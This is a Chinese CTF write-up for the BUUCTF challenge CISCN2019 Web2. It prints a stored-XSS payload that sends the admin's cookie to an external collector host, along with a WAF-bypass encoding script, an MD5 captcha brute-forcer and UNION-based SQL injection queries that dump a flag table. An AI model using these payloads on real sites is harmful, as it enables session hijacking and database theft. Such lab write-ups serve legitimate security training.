BUUCTF--[CISCN2019 华东北赛区]Web2

进入之后我们看到的是一个blog页面, 随便注册一个账号进入
通过扫描目录发现admin.php,访问后给出以下提示

所以这里我们需要一个admin的cookie

再来看各个页面的作用

  • 投稿:我们输入一段内容,然后会给出显示我们文章内容的链接,这里存在着存储型xss漏洞
  • 反馈:通过提示我们可以知道我们提交反馈的链接admin用户会去访问,所以我们可以通过这里来获取的admin的cookie

大致流程:投稿处提交我们的xss代码--获取代码所在的链接--反馈给admin--获取cookie

使用内部的xss平台,截取以下代码

直接提交代码,发现这里有waf我们需要绕过,使用下面脚本进行编码绕过

in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=suH793&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

 提交代码后得到文章链接,将域名部分更改为web
这里还需要md5验证,使用下面脚本

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value = hashlib.md5(str(x).encode("gb2312")).hexdigest() #这里使用gb2312加密方式
        if md5_value[:6] == md5_val:
            return str(x)

if __name__ == '__main__':
    print(func('')) #这里写入页面的那6个字符

提交后即可在buu的xss平台得到admin的cookie

进入到admin.php中可以发现是一个sql注入,手工或者sqlmap

-2 union select 1,2,3#

-2 union select 1,database(),user()#

-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#

-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#

-2 union select 1,2,group_concat(flagg) from ciscn.flag#
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值